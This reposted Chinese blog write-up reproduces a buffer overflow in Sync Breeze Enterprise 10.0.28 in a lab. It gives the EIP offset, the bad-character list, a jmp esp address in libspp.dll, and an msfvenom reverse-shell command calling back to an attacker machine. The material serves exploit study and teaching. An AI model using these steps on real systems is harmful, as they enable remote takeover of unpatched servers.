一、准备工作
1、windows10 32位虚拟机作为目标靶机、kali作为攻击机 2、Immunity Debugger调试工具+mona脚本、存在漏洞版本的软件Sync Breeze Enterprise v10.0.28 3、syncbreeze 安装完后打开web服务,漏洞点在web服务上
二、登陆页面
1、寻找偏移量
这里一个登录页面,这里F12修改一下输入限制长度
然后这里生成800个A的脏数据,我们输入一下尝试
ok,这里输入了800个A发生报错,程序崩溃
这里我们重启服务,因为输入了超过限制的字符导致服务宕掉了
当我们向我们的网页发送了800个A发现程序崩掉了,并且程序都覆盖了A
这里EIP也被覆盖了,那我们想方法找到EIP的地址,这里可以使用注入一串不重复的字符串,这样就能确定我们的EIP位置了d
这里丢一段脏数据,我们再来观察一下EIP的数据是什么 然后接下来我们查找偏移量,使用msf查询一下 msf-pattern_offset -l 800 -q 42306142
那么这里偏移量为780,那么我们的第781-784四个字节就会被写入到EIP寄存器里面,我们验证一下
2、验证偏移量
那么我们把前780个字符写为A,781-784写成B,后面再写成C来验证我们是否找到了正确的偏移量
这样我们就验证成功了,42424242也就是四个B的意思,那我们EIP的返回地址就是780-784
也就是对应的这个位置
3、测试可写入字符量
这里我们插入1500个字符来测试一下,1减去我们之前的780个A,4个B,四个C,哪减去的剩下的就是我们可以写入的字符数量从这里开始0076744c-00767710这就是我们可插入的字符,也就是这些空间可以让我们写shell
4、测试坏字符
这是所有坏字符,诶个尝试
"x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10"
"x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20"
"x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30"
"x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40"
"x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50"
"x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60"
"x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70"
"x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80"
"x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90"
"x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0"
"xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0"
"xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0"
"xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0"
"xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0"
"xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0"
"xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff
5、寻找 jmp esp指令的内存地址
利用EIP返回,指向一个固定不变的地址,就是栈顶,找jmp esp jmp:是“Jump”的缩写,意为“跳转”。这个指令会导致程序的执行流跳转到指定的地址。 esp:指的是ESP寄存器的值,它当前指向堆栈的顶部。
在kali 利用msf-nasm_shell转换jmp esp成16进制操作数 msf-nasm_shell jmp esp jmp esp的十六进制:FFE4然后运用一个mona插件,先列出加载到所有模块 !mona modules 然后我们找到一个安全性比较低的命令,并寻找有没有jmp esp这条指令
这个程序发现安全性很低,libspp.dll动态链接库没有启用安全机制
接下来我们来查找一下这个程序地址
这里发现这个程序有这条命令,那么我们复制一下地址0x10090c83,然后我们搜索该地址
找到了,是一个FFE4的jmp esp,并且把他的地址转化为16进制x83x0cx09x10也就是这样的形式
6、shell反连
反弹shell kali使用msf生成反弹shell 使用-b参数过滤掉坏字符
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.66.129 LPORT=8888 -f c -b "x00x0Ax0Dx25x26x2Bx3D" EXITFUNC=thread
然后我们生成这样一个反连shell的脚本
拿下了,这东西太恶心了,做了一下午,跑步去了兄弟们
原文始发于微信公众号(泷羽Sec-朝阳):思路清晰,我是菜B,8小时爆肝windows 32位syncbreeze缓冲区溢出漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论